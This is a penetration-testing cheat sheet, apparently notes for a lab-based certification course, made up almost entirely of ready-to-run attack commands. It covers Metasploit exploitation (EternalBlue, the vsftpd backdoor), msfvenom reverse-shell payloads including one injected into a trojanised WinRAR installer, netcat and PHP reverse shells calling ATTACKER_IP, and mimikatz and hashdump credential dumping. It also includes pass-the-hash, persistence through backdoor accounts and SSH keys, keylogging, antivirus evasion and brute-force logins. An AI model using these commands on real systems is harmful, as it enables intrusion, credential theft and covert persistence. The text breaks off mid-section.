db\_nmap -Pn -sV -O <TARGET\_IP>

# Port Scan example  
workspace -a Port\_scan  
search portscan  
use auxiliary/scanner/portscan/tcp  
show options  
set RHOSTS <TARGET\_IP>  
set PORTS 1-1000  
run  
  
# Exploitation  
search xoda  
use exploit/unix/webapp/xoda\_file\_upload  
set RHOSTS <TARGET\_IP>  
set TARGETURI /  
run  
  
# Pivoting to TARGET2 through TARGET1  
run autoroute -s <TARGET1\_SUBNET\_NETWORK>  
background  
use auxiliary/scanner/portscan/tcp  
set RHOSTS <TARGET2\_IP>  
run

# UDP Scan  
search udp\_sweep  
use auxiliary/scanner/discovery/udp\_sweep  
set RHOSTS <TARGET\_IP>  
run

# Service Enumeration  
  
# FTP  
use auxiliary/scanner/ftp/ftp\_version  
use auxiliary/scanner/ftp/ftp\_login  
use auxiliary/scanner/ftp/anonymous  
  
# SMB  
use auxiliary/scanner/ftp/anonymous  
use auxiliary/scanner/smb/smb\_enumusers  
use auxiliary/scanner/smb/smb\_enumshares  
use auxiliary/scanner/smb/smb\_login  
  
# HTTP  
use auxiliary/scanner/http/apache\_userdir\_enum  
use auxiliary/scanner/http/brute\_dirs  
use auxiliary/scanner/http/dir\_scanner  
use auxiliary/scanner/http/dir\_listing  
use auxiliary/scanner/http/http\_put  
use auxiliary/scanner/http/files\_dir  
use auxiliary/scanner/http/http\_login  
use auxiliary/scanner/http/http\_header  
use auxiliary/scanner/http/http\_version  
use auxiliary/scanner/http/robots\_txt  
  
# MYSQL  
use auxiliary/admin/mysql/mysql\_enum  
use auxiliary/admin/mysql/mysql\_sql  
use auxiliary/scanner/mysql/mysql\_file\_enum  
use auxiliary/scanner/mysql/mysql\_hashdump  
use auxiliary/scanner/mysql/mysql\_login  
use auxiliary/scanner/mysql/mysql\_schemadump  
use auxiliary/scanner/mysql/mysql\_version  
use auxiliary/scanner/mysql/mysql\_writable\_dirs  
  
# SSH  
use auxiliary/scanner/ssh/ssh\_version  
use auxiliary/scanner/ssh/ssh\_login  
use auxiliary/scanner/ssh/ssh\_enumusers  
  
# SMTP  
use auxiliary/scanner/smtp/smtp\_enum  
use auxiliary/scanner/smtp/smtp\_version

### Vulnerability Scanning

# NMAP  
db\_nmap -sS -sV -O <TARGET\_IP>  
  
search type:exploit name:iis  
search <SERVICE\_NAME\_VERSION>  
  
# e.g.  
search eternalblue  
use auxiliary/scanner/smb/smb\_ms17\_010

# Kali Linux terminal  
searchsploit "Microsoft Windows SMB" | grep -e "Metasploit"

# Metasploit Autopwn  
wget https://raw.githubusercontent.com/hahwul/metasploit-autopwn/master/db\_autopwn.rb  
sudo mv db\_autopwn.rb /usr/share/metasploit-framework/plugins/  
  
# msfconsole  
load db\_autopwn  
  
# Enumerates exploits for each of the open ports  
db\_autopwn -p -t  
# Limit to only the 445 port  
db\_autopwn -p -t -PI 445

# msfconsole  
analyze  
vulns

# NESSUS Results Import  
db\_import /home/kali/Downloads/MS3\_zph3t5.nessus  
hosts  
services  
vulns  
vulns -p 445  
  
search cve:2017 name:smb  
search MS12-020  
search cve:2019 name:rdp  
search cve:2015 name:ManageEngine  
search PHP CGI Argument Injection

# WMAP in msfconsole  
load wmap  
wmap\_sites -a <TARGET\_IP>  
wmap\_sites -l  
wmap\_targets -t <URL>  
wmap\_targets -l  
  
wmap\_run -t  
wmap\_run -e  
wmap\_vulns -l  
  
# msfconsole  
use auxiliary/scanner/http/http\_put

### Payloads

# MSFVENOM  
msfvenom --list payloads  
msfvenom --list formats  
msfvenom --list encoders  
  
# Win 32bit  
msfvenom -a x86 -p windows/meterpreter/reverse\_tcp LHOST=<LOCAL\_HOST\_IP> LPORT=<LOCAL\_PORT> -f exe > <PAYLOAD\_FILE\_x86>.exe  
  
# Win 64bit  
msfvenom -a x64 -p windows/x64/meterpreter/reverse\_tcp LHOST=<LOCAL\_HOST\_IP> LPORT=<LOCAL\_PORT> -f exe > <PAYLOAD\_FILE\_x64>.exe  
  
# Linux 32bit  
msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=<LOCAL\_HOST\_IP> LPORT=<LOCAL\_PORT> -f elf > <PAYLOAD\_FILE\_x86>  
  
# Linux 64bit  
msfvenom -p linux/x64/meterpreter/reverse\_tcp LHOST=<LOCAL\_HOST\_IP> LPORT=<LOCAL\_PORT> -f elf > <PAYLOAD\_FILE\_x64>  
  
# Win 32bit + shikata\_ga\_nai encoded  
msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<LOCAL\_HOST\_IP> LPORT=<LOCAL\_PORT> -e x86/shikata\_ga\_nai -f exe > <PAYLOAD\_ENCODED\_x86>.exe  
  
# Use more encoding iterations  
msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<LOCAL\_HOST\_IP> LPORT=<LOCAL\_PORT> -i 10 -e x86/shikata\_ga\_nai -f exe > <PAYLOAD\_ENCODED\_x86>.exe  
  
# Linux 32bit + shikata\_ga\_nai encoded  
msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=<LOCAL\_HOST\_IP> LPORT=<LOCAL\_PORT> -i 10 -e x86/shikata\_ga\_nai -f elf > <PAYLOAD\_ENCODED\_x86>  
  
# Inject into Portable Executables  
msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<LOCAL\_HOST\_IP> LPORT=<LOCAL\_PORT> -e x86/shikata\_ga\_nai -i 10 -f exe -x winrar-x32-621.exe > winrar.exe

# MSF STAGED Payload  
windows/x64/meterpreter/reverse\_tcp  
  
# MSF NON-STAGED Payload  
windows/x64/meterpreter\_reverse\_https

# Upload the payload on the target and try it with MSFconsole  
cd Payloads  
sudo python -m http.server 8080  
msfconsole -q  
  
use multi/handler  
set payload <MSFVENOM\_PAYLOAD>  
set LHOST <MSFVENOM\_LOCAL\_HOST\_IP>  
set LPORT <MSFVENOM\_LOCAL\_PORT>  
run

# Automation  
ls -lah /usr/share/metasploit-framework/scripts/resource  
  
# Create a handler resource  
nano handler.rc  
# Insert the following lines  
use multi/handler  
set payload windows/meterpreter/reverse\_tcp  
set LHOST <LOCAL\_HOST\_IP>  
set LPORT <LOCAL\_PORT>  
run  
# Save it and exit  
  
msfconsole -q -r handler.rc  
  
# msfconsole  
resource handler.rc  
  
# Export inserted msfconsole commands into a resource script  
makerc <FILE>.rc

### Win Exploitation

#### Default MSF Start

service postgresql start && msfconsole -q

db\_status  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
workspace -a <SERVICE\_NAME>  
db\_nmap -sS -sV -O <TARGET\_IP>  
# db\_nmap -sS -sV -O -p- <TARGET\_IP>  
  
# For every exploit, check 'options' and 'info', setup accordingly

#### HFS

# HFS  
search type:exploit name:rejetto  
use exploit/windows/http/rejetto\_hfs\_exec

#### SMB

# SMB  
search type:auxiliary EternalBlue  
use auxiliary/scanner/smb/smb\_ms17\_010  
use exploit/windows/smb/ms17\_010\_eternalblue

#### WINRM

# WinRM  
search type:auxiliary winrm  
use auxiliary/scanner/winrm/winrm\_auth\_methods  
  
# Brute force WinRM login  
search winrm\_login  
use auxiliary/scanner/winrm/winrm\_login  
set USER\_FILE /usr/share/metasploit-framework/data/wordlists/common\_users.txt  
set PASS\_FILE /usr/share/metasploit-framework/data/wordlists/unix\_passwords.txt  
  
# Launch command  
search winrm\_cmd  
use auxiliary/scanner/winrm/winrm\_cmd  
set USERNAME <USER>  
set PASSWORD <PW>  
set CMD whoami  
  
search winrm\_script  
use exploit/windows/winrm/winrm\_script\_exec  
set USERNAME <USER>  
set PASSWORD <PW>  
set FORCE\_VBS true

#### TOMCAT

# APACHE TOMCAT  
search type:exploit tomcat\_jsp  
use exploit/multi/http/tomcat\_jsp\_upload\_bypass  
check  
  
set payload java/jsp\_shell\_bind\_tcp  
set SHELL cmd  
run

### Linux Exploitation

#### FTP

# FTP  
search vsftpd  
use exploit/unix/ftp/vsftpd\_234\_backdoor  
  
/bin/bash -i

#### SAMBA

# SAMBA  
search type:exploit name:samba  
use exploit/linux/samba/is\_known\_pipename  
  
# After exploit, proceed with Shell To Meterpreter if necessary

#### SSH

# SSH  
search libssh\_auth\_bypass  
use auxiliary/scanner/ssh/libssh\_auth\_bypass  
set SPAWN\_PTY true  
run  
sessions  
sessions 1  
  
# After exploit, proceed with Shell To Meterpreter if necessary

# Some shell enumeration  
id  
cat /etc/\*release  
uname -r

#### SMTP

# SMTP  
search libssh\_auth\_bypass  
use exploit/linux/smtp/haraka  
set SRVPORT 9898  
set email\_to root@attackdefense.test  
set payload linux/x64/meterpreter\_reverse\_http  
set LHOST <LOCAL\_IP>  
set LPORT 8080  
run  
# This is a NON-staged payload

### Post-Exploitation Fundamentals

# METERPRETER  
run post/windows/manage/migrate  
## Pivoting  
portfwd add -l <LOCAL\_PORT> -p <TARGET\_PORT> -r <TARGET\_IP>

# Manual SHELL TO METERPRETER  
background # or CTRL+Z  
sessions  
search shell\_to\_meterpreter  
use post/multi/manage/shell\_to\_meterpreter  
set SESSION 1  
set LHOST <LOCAL\_IP>  
run  
  
sessions  
sessions 2  
  
# Auto SHELL TO METERPRETER  
sessions -u 1  
sessions 3

### Win Post-Exploitation

#### HTTP/HFS

# Meterpreter  
sysinfo  
getuid  
getsystem  
getuid  
getprivs  
hashdump  
show\_mount  
ps  
migrate  
  
# msfconsole  
use post/windows/manage/migrate  
use post/windows/gather/win\_privs  
use post/windows/gather/enum\_logged\_on\_users  
use post/windows/gather/checkvm  
use post/windows/gather/enum\_applications  
use post/windows/gather/enum\_av\_excluded  
use post/windows/gather/enum\_computers  
use post/windows/gather/enum\_patches  
use post/windows/gather/enum\_shares  
use post/windows/manage/enable\_rdp  
set SESSION 1  
  
loot

#### UAC

# Meterpreter  
shell  
  
# Win CMD  
net users  
net localgroup administrators  
  
# Bypass UAC  
background  
sessions  
use exploit/windows/local/bypassuac\_injection  
set payload windows/x64/meterpreter/reverse\_tcp  
set SESSION 1  
set LPORT <LOCAL\_PORT>  
set TARGET Windows\ x64  
  
getsystem  
hashdump

#### TOKEN IMPERSONATION

# Privilege Escalation - Meterpreter  
getuid  
getprivs  
hashdump  
load incognito  
list\_tokens -u  
impersonate\_token "ATTACKDEFENSE\Administrator"  
getuid  
ps  
migrate <PID>  
hashdump

#### DUMP HASHES

# Kiwi - Meterpreter  
load kiwi  
creds\_all  
lsa\_dump\_sam  
lsa\_dump\_secrets  
  
# Mimikatz - Meterpreter  
cd C:\\  
mkdir Temp  
cd Temp  
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe  
shell  
  
mimikatz.exe  
privilege::debug  
lsadump::sam  
lsadump::secrets  
sekurlsa::logonPasswords

# PASS THE HASH - PSExec  
hashdump  
exit  
search psexec  
use exploit/windows/smb/psexec  
set payload windows/x64/meterpreter/reverse\_tcp  
set SMBUser Administrator  
set SMBPass <ADMINISTRATOR\_LM:NTLM\_HASH>

#### PERSISTENCE

# Administrative Privileges required!  
  
# RDP - Meterpreter  
background  
  
use exploit/windows/local/persistence\_service  
set payload windows/meterpreter/reverse\_tcp  
set SESSION 1  
  
# Regain access  
use multi/handler  
set payload windows/meterpreter/reverse\_tcp  
set LHOST <LOCAL\_IP>  
set LPORT <LOCAL\_PORT>  
  
# Enabling RDP  
use post/windows/manage/enable\_rdp  
sessions  
set SESSION 1

# KEYLOGGING - Meterpreter  
keyscan\_start  
keyscan\_dump  
keyscan\_stop

#### CLEARING

# Meterpreter  
clearenv

#### PIVOTING

# Meterpreter  
run autoroute -s <TARGET1\_SUBNET\_NETWORK>  
  
use auxiliary/scanner/portscan/tcp  
set RHOSTS <TARGET2\_IP>  
set PORTS 1-100  
  
# Port Forwarding  
sessions 1  
portfwd add -l <LOCAL\_PORT> -p <TARGET2\_PORT> -r <TARGET2\_IP>  
background  
db\_nmap -sS -sV -p <LOCAL\_PORT> localhost  
# Target2 Exploitation  
use exploit/windows/http/badblue\_passthru  
set payload windows/meterpreter/bind\_tcp  
set RHOSTS <TARGET2\_IP>  
set LPORT <LOCAL\_PORT2>  
run

### Linux Post-Exploitation

# Meterpreter - 'root' user  
shell  
  
# Local machine Enumeration  
/bin/bash -i  
whoami  
cat /etc/passwd  
groups root  
cat /etc/\*issue  
cat /etc/\*release  
uname -a  
uname -r  
  
netstat -antp  
ss -tnl  
  
ps aux  
env  
  
# msfconsole  
use post/linux/gather/enum\_configs  
use post/multi/gather/env  
use post/linux/gather/enum\_network  
use post/linux/gather/enum\_protections  
use post/linux/gather/enum\_system  
use post/linux/gather/checkcontainer  
use post/linux/gather/checkvm  
use post/linux/gather/enum\_users\_history  
set SESSION 1  
  
loot

# PRIVILEGE ESCALATION - chkrootkit  
ps aux  
use exploit/unix/local/chkrootkit  
set CHKROOTKIT /bin/chkrootkit  
set SESSION 1  
set LHOST <LOCAL\_IP>

# Dumping Hashes  
use post/linux/gather/hashdump  
use post/multi/gather/ssh\_creds  
use post/linux/gather/ecryptfs\_creds  
use post/linux/gather/enum\_psk  
use post/linux/gather/pptpd\_chap\_secrets  
set SESSION 1

# PERSISTENCE  
# Meterpreter - Manual  
shell  
  
whoami  
 root  
cat /etc/passwd  
useradd -m ftp -s /bin/bash  
passwd ftp  
usermod -aG root ftp  
usermod -u 15 ftp  
groups ftp  
  
# SSH Key  
use post/linux/manage/sshkey\_persistence  
set CREATESSHFOLDER true  
set SESSION 1  
  
# Persistence Test  
loot  
cat /root/.msf4/loot/DATE\_Linux\_Persistenc\_<TARGET\_IP>\_id\_rsa\_.txt  
# Exit all the msfconsole sessions and close it  
exit -y  
  
vim ssh\_key # paste Key  
chmod 0400 ssh\_key  
ssh -i ssh\_key root@<TARGET\_IP>

### Armitage

# Armitage Kali Linux - Install  
sudo apt install armitage -y  
sudo msfdb init  
sudo nano /etc/postgresql/15/main/pg\_hba.conf  
# On line 87 switch “scram-sha-256” to “trust”  
sudo systemctl enable postgresql  
sudo systemctl restart postgresql  
sudo armitage

## Exploitation

### Vulnerability Scanning

# BANNER GRABBING  
nmap -sV -O <TARGET\_IP>  
nmap -sV --script=banner <TARGET\_IP>  
ls -lah /usr/share/nmap/scripts | grep <KEYWORD>  
  
nc <TARGET\_IP> <TARGET\_OPEN\_PORT>

### Exploits

# SEARCHSPLOIT - Install  
sudo apt update && sudo apt -y install exploitdb  
## Update  
searchsploit -u  
  
searchsploit [options] <term>  
  
# Copy an exploit to the current working dir  
searchsploit -m <EXPLOIT\_ID>   
# Case sensitive search  
searchsploit -c OpenSSH  
# Search just the exploit title  
searchsploit -t vsftpd  
# Exact search on title  
searchsploit -e "Windows 7"  
  
# Filters search  
searchsploit remote windows smb  
searchsploit remote linux ssh  
searchsploit remote linux ssh OpenSSH  
searchsploit remote webapps wordpress  
searchsploit local windows  
searchsploit local windows | grep -e "Microsoft"  
  
# List online links  
searchsploit -w remote windows smb | grep -e "EternalBlue"

# CROSS COMPILING  
sudo apt -y install mingw-w64 gcc  
  
## Windows Target  
searchsploit VideolAN VLC SMB  
searchsploit -m 9303  
# Compile for x64  
x86\_64-w64-mingw32-gcc 9303.c -o exploit64.exe  
# Compile for x86 (32-bit)  
i686-w64-mingw32-gcc 9303.c -o exploit32.exe  
  
## Linux Target  
searchsploit Dirty Cow  
searchsploit -m 40839  
gcc -pthread 40839.c -o dirty\_exploit -lcrypt

### Shells

# NETCAT - Install  
sudo apt update && sudo apt install -y netcat  
# or upload the nc.exe on the target machine  
  
nc <TARGET\_IP> <TARGET\_PORT>  
nc -nv <TARGET\_IP> <TARGET\_PORT>  
nc -nvu <TARGET\_IP> <TARGET\_UDP\_PORT>  
  
## NC Listener  
nc -nvlp <LOCAL\_PORT>  
nc -nvlup <LOCAL\_UDP\_PORT>  
  
## Transfer files  
# Target machine  
nc.exe -nvlp <PORT> > test.txt  
# Attacker machine  
echo "Hello target" > test.txt  
nc -nv <TARGET\_IP> <TARGET\_PORT> < test.txt

# BIND SHELL  
  
## Target Win machine - Bind shell listener with executable cmd.exe  
nc.exe -nvlp <PORT> -e cmd.exe  
## Attacker Linux machine  
nc -nv <TARGET\_IP> <PORT>  
  
## Target Linux machine - Bind shell listener with /bin/bash  
nc -nvlp <PORT> -c /bin/bash  
## Attacker Win machine  
nc.exe -nv <TARGET\_IP> <TARGET\_PORT>

# REVERSE SHELL  
  
## Attacker Linux machine  
nc -nvlp <PORT>  
## Target Win machine  
nc.exe -nv <ATTACKER\_IP> <ATTACKER\_PORT> -e cmd.exe  
  
## Attacker Linux machine  
nc -nvlp <PORT>  
## Target Linux machine  
nc -nv <ATTACKER\_IP> <ATTACKER\_PORT> -e /bin/bash

# Spawn shells  
python -c 'import pty; pty.spawn("/bin/sh")'  
echo os.system('/bin/bash')  
/bin/sh -i  
/usr/bin/script -qc /bin/bash /dev/null  
perl -e 'exec "/bin/sh";'  
perl: exec "/bin/sh";  
ruby: exec "/bin/sh"  
lua: os.execute('/bin/sh')  
IRB: exec "/bin/sh"  
vi: :!bash  
vi: :set shell=/bin/bash:shell  
nmap: !sh

### Frameworks

# METASPLOIT - example  
service postgresql start && msfconsole -q  
db\_status  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
workspace -a <SERVICE\_NAME>  
  
search <SERVICE\_NAME>  
use exploit/multi/http/processmaker\_exec  
options  
set USERNAME <USER>  
set PASSWORD <PW>  
run

# POWERSHELL EMPIRE - Install  
sudo apt update && sudo apt install -y powershell-empire  
  
## Server run  
sudo powershell-empire server  
  
## Client run (another terminal session)  
sudo powershell-empire client  
listeners  
agents  
interact <ID>  
history

### Win Exploitation

# Attacker's machine - Find target IP  
cat /etc/hosts  
ping <TARGET\_IP>  
ping <TARGET\_FQDN>  
mkdir <TARGET>  
cd <TARGET>/  
  
# Port Scanning - 1000 common ports or more advanced scans  
nmap -sV <TARGET\_IP>  
nmap -T4 -PA -sC -sV -p 1-10000 <TARGET\_IP> -oX nmap\_10k  
nmap -T4 -PA -sC -sV -p- <TARGET\_IP> -oX nmap\_all  
nmap -sU -sV <TARGET\_IP> -oX nmap\_udp  
  
# Banner Grabbing  
nc -nv <TARGET\_IP> 21  
  
# Enumeration  
service postgresql start && msfconsole  
db\_status  
setg RHOSTS <TARGET\_IP>  
setg RHOST <TARGET\_IP>  
workspace -a <SERVICE\_NAME>  
db\_import nmap\_10k  
  
hosts  
services  
use auxiliary/scanner/smb/smb\_version  
run  
hosts

#### IIS/FTP

# Targeting IIS/FTP  
nmap -sV -sC -p21,80 <TARGET\_IP>  
## Try anonymous:anonymous  
ftp <TARGET\_IP>  
  
## Brute-force FTP  
hydra -L /usr/share/wordlists/metasploit/unix\_users.txt -P /usr/share/wordlists/metasploit/unix\_passwords.txt <TARGET\_IP> ftp  
  
hydra -l administrator -P /usr/share/wordlists/metasploit/unix\_users.txt <TARGET\_IP> ftp -I  
hydra -l <USER> -P /usr/share/wordlists/metasploit/unix\_users.txt <TARGET\_IP> ftp -I  
  
## Generate an .asp reverse shell payload  
cd <TARGET>/  
ip -br -c a  
msfvenom -p windows/shell/reverse\_tcp LHOST=<LOCAL\_IP> LPORT=<LOCAL\_PORT> -f asp > shell.aspx  
  
## FTP Login with <USER>  
ftp <TARGET\_IP>  
put shell.aspx  
  
## msfconsole  
use multi/handler  
set payload windows/shell/reverse\_tcp  
set LHOST <LOCAL\_IP>  
set LPORT <LOCAL\_PORT>  
  
## Open http://<TARGET\_IP>/shell.aspx . A reverse shell may be received.

#### OPENSSH

# Targeting OPENSSH  
nmap -sV -sC -p 22 <TARGET\_IP>  
  
searchsploit OpenSSH 7.1  
  
## Brute-force SSH  
hydra -l administrator /usr/share/wordlists/metasploit/unix\_users.txt <TARGET\_IP> ssh  
hydra -l <USER> -P /usr/share/wordlists/metasploit/unix\_users.txt <TARGET\_IP> ssh  
  
## SSH Login with <USER>  
ssh <USER>@<TARGET\_IP>  
  
## Win  
bash  
net localgroup administrators  
whoami /priv  
  
# msfconsole  
use auxiliary/scanner/ssh/ssh\_login  
setg RHOST <TARGET\_IP>  
setg RHOSTS <TARGET\_IP>  
set USERNAME <USER>  
set PASSWORD <PW>  
run  
session 1  
# CTRL+Z to background  
sessions -u 1

#### SMB

# Targeting SMB  
nmap -sV -sC -p 445 <TARGET\_IP>  
  
## Brute-force SMB  
hydra -l administrator -P /usr/share/wordlists/metasploit/unix\_passwords.txt <TARGET\_IP> smb  
hydra -l <USER> -P /usr/share/wordlists/metasploit/unix\_passwords.txt <TARGET\_IP> smb  
  
## Enumeration  
smbclient -L <TARGET\_IP> -U <USER>  
smbmap -u <USER> -p <PW> -H <TARGET\_IP>  
enum4linux -u <USER> -p <PW> -U <TARGET\_IP>  
  
## msfconsole  
use auxiliary/scanner/smb/smb\_enumusers  
set RHOSTS <TARGET\_IP>  
set SMBUser <USER>  
set SMBPass <PW>  
run  
  
## SMB Login with <USER>  
locate psexec.py  
cp /usr/share/doc/python3-impacket/examples/psexec.py .  
chmod +x psexec.py  
python3 psexec.py Administrator@<TARGET\_IP>  
python3 psexec.py <USER>@<TARGET\_IP>  
  
# msfconsole - Meterpreter  
use exploit/windows/smb/psexec  
set RHOSTS <TARGET\_IP>  
set SMBUser Administrator  
set SMBPass <PW>  
set payload windows/x64/meterpreter/reverse\_tcp  
run  
  
# Without <USER>:<PW>, exploit a vulnerability, e.g. EternalBlue  
use exploit/windows/smb/ms17\_010\_eternalblue  
set RHOSTS <TARGET\_IP>  
run

#### MYSQL

# Targeting MYSQL (Wordpress)  
nmap -sV -sC -p 3306,8585 <TARGET\_IP>  
  
searchsploit MySQL 5.5  
  
## Brute-force MySql - msfconsole  
msfconsole -q  
use auxiliary/scanner/mysql/mysql\_login  
set RHOSTS <TARGET\_IP>  
set PASS\_FILE /usr/share/wordlists/metasploit/unix\_passwords.txt  
run  
  
## MYSQL Login with <USER>  
mysql -u root -p -h <TARGET\_IP>  
  
show databases;  
use <db>;  
show tables;  
select \* from <table>;  
  
## msfconsole  
use exploit/windows/smb/ms17\_010\_eternalblue  
set RHOSTS <TARGET\_IP>  
run  
  
sysinfo  
cd /  
cd wamp  
dir  
cd www\\wordpress  
cat wp-config.php  
shell

### Linux Exploitation

# Attacker's machine - Find target IP  
cat /etc/hosts  
ping <TARGET\_IP>  
ping <TARGET\_FQDN>  
mkdir <TARGET>  
cd <TARGET>/  
  
# Port Scanning - 1000 common ports or more advanced scans  
nmap -sV <TARGET\_IP>  
nmap -sV -p 1-10000 <TARGET\_IP> -oX nmap\_10k  
nmap -T4 -PA -sC -sV -p 1-10000 <TARGET\_IP> -oX nmap\_10k  
nmap -T4 -PA -sC -sV -p- <TARGET\_IP> -oX nmap\_all  
nmap -sU -sV <TARGET\_IP> -oX nmap\_udp  
  
# Banner Grabbing - various ports e.g.  
nc -nv <TARGET\_IP> 512  
nc -nv <TARGET\_IP> 513  
nc -nv <TARGET\_IP> 1524  
  
# Enumeration  
cat /etc/\*release  
whoami

#### VSFTPD

# Targeting VSFTPD  
nmap -sV -sC -p 21 <TARGET\_IP>  
  
## Try anonymous:anonymous  
ftp <TARGET\_IP>  
  
## Exploit vsFTPd  
searchsploit vsftpd  
searchsploit -m 49757  
vim 49757.py  
chmod +x 49757.py  
python3 49757.py <TARGET\_IP>  
  
## Enumerate SMTP - msfconsole  
use auxiliary/scanner/smtp/smtp\_enum  
setg RHOSTS <TARGET\_IP>  
set UNIXONLY true  
run  
  
## Brute-force FTP  
hydra -l <USER> -P /usr/share/metasploit-framework/data/wordlists/unix\_users.txt <TARGET\_IP> ftp  
  
## Modify the shell via FTP  
cp /usr/share/webshells/php/php-reverse-shell.php .  
mv php-reverse-shell.php shell.php  
vim shell.php  
## Change the $ip & $port variable to the Attacker's IP & port  
  
ftp <TARGET\_IP>  
cd /  
cd /var/www/dav  
put shell.php  
  
## Attacker listener  
nc -nvlp <PORT>  
## Open http://<TARGET\_IP>/dav/shell.php  
  
/bin/bash -i

# Targeting PHP  
nmap -sV -sC -p 80 <TARGET\_IP>  
  
## Browse  
http://<TARGET\_IP>/phpinfo.php  
  
## Manual Exploitation PHP CGI  
searchsploit php cgi  
searchsploit -m 18836  
python2 18836.py <TARGET\_IP> 80  
## If it executes, modify the .py script  
vim 18836.php  
## PHP Reverse Shell  
pwn\_code = """<?php $sock=fsockopen("<ATTACKER\_IP>",<PORT>);exec("/bin/sh -i <&4 >&4 2>&4");?>"""  
  
## Attacker listener in another tab  
nc -nvlp <PORT>  
## Launch the exploit  
python2 18836.py <TARGET\_IP> 80

# Targeting SAMBA  
nmap -sV -p 445 <TARGET\_IP>  
  
nc -nv <TARGET\_IP> 445  
  
searchsploit samba 3.0.20  
  
# msfconsole  
use auxiliary/scanner/smb/smb\_version  
setg RHOSTS <TARGET\_IP>  
run  
  
use exploit/multi/samba/usermap\_script  
run  
background  
sessions -u 1  
sessions 2  
  
cat /etc/shadow

### Obfuscation

# SHELLTER - Install  
sudo apt update && sudo apt install -y shellter  
sudo dpkg --add-architecture i386 && sudo apt update && sudo apt -y install wine32  
rm -r ~/.wine  
  
cd /usr/share/windows-resources/shellter  
sudo shellter  
  
mkdir AVBypass  
cd AVBypass  
cp /usr/share/windows-binaries/vncviewer.exe .  
# Proceed in Sellter window

# INVOKE-OBFUSCATION PowerShell script - Install  
cd /opt  
sudo git clone https://github.com/danielbohannon/Invoke-Obfuscation.git  
sudo apt update && sudo apt install -y powershell  
  
pwsh  
cd /opt/Invoke-Obfuscation/  
Import-Module ./Invoke-Obfuscation.psd1  
cd ..  
Invoke-Obfuscation

## Post-Exploitation

### Win Local Enumeration

# MSF Meterpreter  
getuid  
sysinfo  
show\_mount  
cat C:\\Windows\\System32\\eula.txt  
getprivs  
pgrep explorer.exe  
migrate <PROCESS\_ID>  
  
# Win CMD - run 'shell' in Meterpreter  
## System  
hostname  
systeminfo  
wmic qfe get Caption,Description,HotFixID,InstalledOn  
  
## Users  
whoami  
whoami /priv  
query user  
net users  
net user <USER>  
net localgroup  
net localgroup Administrators  
net localgroup "Remote Desktop Users"  
  
## Network  
ipconfig  
ipconfig /all  
route print  
arp -a  
netstat -ano  
netsh firewall show state  
netsh advfirewall show allprofiles  
  
## Services  
ps  
net start  
wmic service list brief  
tasklist /SVC  
schtasks /query /fo LIST  
schtasks /query /fo LIST /v  
  
# Metasploit  
use post/windows/gather/enum\_logged\_on\_users  
use post/windows/gather/win\_privs  
use post/windows/gather/enum\_logged\_on\_users  
use post/windows/gather/checkvm  
use post/windows/gather/enum\_applications  
use post/windows/gather/enum\_computers  
use post/windows/gather/enum\_patches  
use post/windows/gather/enum\_shares  
  
# JAWS - Automatic Local Enumeration - Powershell  
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename Jaws-Enum.txt

### Linux Local Enumeration

# MSF Meterpreter  
getuid  
sysinfo  
ifconfig  
netstat  
route  
arp  
ps  
pgrep vsftpd  
  
# Linux SHELL - run 'shell' in Meterpreter  
## System  
/bin/bash -i  
cd /root  
hostname  
cat /etc/\*issue  
cat /etc/\*release  
uname -a  
dpkg -l  
  
env  
lscpu  
free -h  
df -h  
lsblk | grep sd  
  
## Users  
whoami  
ls -lah /home  
cat /etc/passwd  
cat /etc/passwd | grep -v /nologin  
groups <USER>  
groups root  
groups  
who  
w  
last  
lastlog  
  
## Network  
ifconfig  
ip -br -c a  
ip a  
cat /etc/networks  
cat /etc/hostname  
cat /etc/hosts  
cat /etc/resolv.conf  
arp -a  
  
## Services  
ps  
ps aux  
ps aux | grep msfconsole  
ps aux | grep root  
top  
cat /etc/cron\*  
crontab -l  
  
# Metasploit  
use post/linux/gather/enum\_configs  
use post/linux/gather/enum\_network  
use post/linux/gather/enum\_system  
use post/linux/gather/checkvm  
  
# LINENUM - Automatic Enumeration  
cd /tmp  
upload LinEnum.sh  
shell  
/bin/bash -i  
chmod +x LinEnum.sh  
./LinEnum.sh  
  
./LinEnum.sh -s -k <keyword> -r <report> -e /tmp/ -t

### Transferring Files

# PYTHON WEB SERVER  
python -V  
python3 -V  
py -v # on Windows  
  
# Python 2.7  
python -m SimpleHTTPServer <PORT\_NUMBER>  
  
# Python 3.7  
python3 -m http.server <PORT\_NUMBER>  
  
# On Windows, try   
python -m http.server <PORT>  
py -3 -m http.server <PORT>

# TMUX Terminal Multiplexer  
sudo apt install tmux -y

### Shells

cat /etc/shells  
 # /etc/shells: valid login shells  
 /bin/sh  
 /bin/dash  
 /bin/bash  
 /bin/rbash  
  
/bin/bash -i  
  
/bin/sh -i

#### TTY Shells

# BASH  
/bin/bash -i  
/bin/sh -i  
SHELL=/bin/bash script -q /dev/null  
  
# Setup environment variables  
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin  
export TERM=xterm  
export SHELL=/bin/bash

# PYTHON  
python --version  
python -c 'import pty; pty.spawn("/bin/bash")'  
  
## Fully Interactive TTY  
# Background (CTRL+Z) the current remote shell  
stty raw -echo && fg  
# Reinitialize the terminal with reset  
reset

# FULL TTY PYTHON3 SHELL  
python3 -c 'import pty; pty.spawn("/bin/bash")'  
# Background CTRL+Z  
stty raw -echo && fg  
# ENTER  
export SHELL=/bin/bash  
export TERM=screen  
stty rows 36 columns 157  
# stty -a to get the rows & columns of the attacker terminal  
reset

# PERL  
perl -h  
perl -e 'exec "/bin/bash";'

### Win Privilege Escalation

# PrivescCHECK - PowerShell script  
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck\_%COMPUTERNAME% -Format TXT,CSV,HTML,XML"  
  
## Basic mode  
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"  
  
## Extended Mode + Export Txt Report  
powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck\_%COMPUTERNAME%"

### Linux Privilege Escalation

# Writable files  
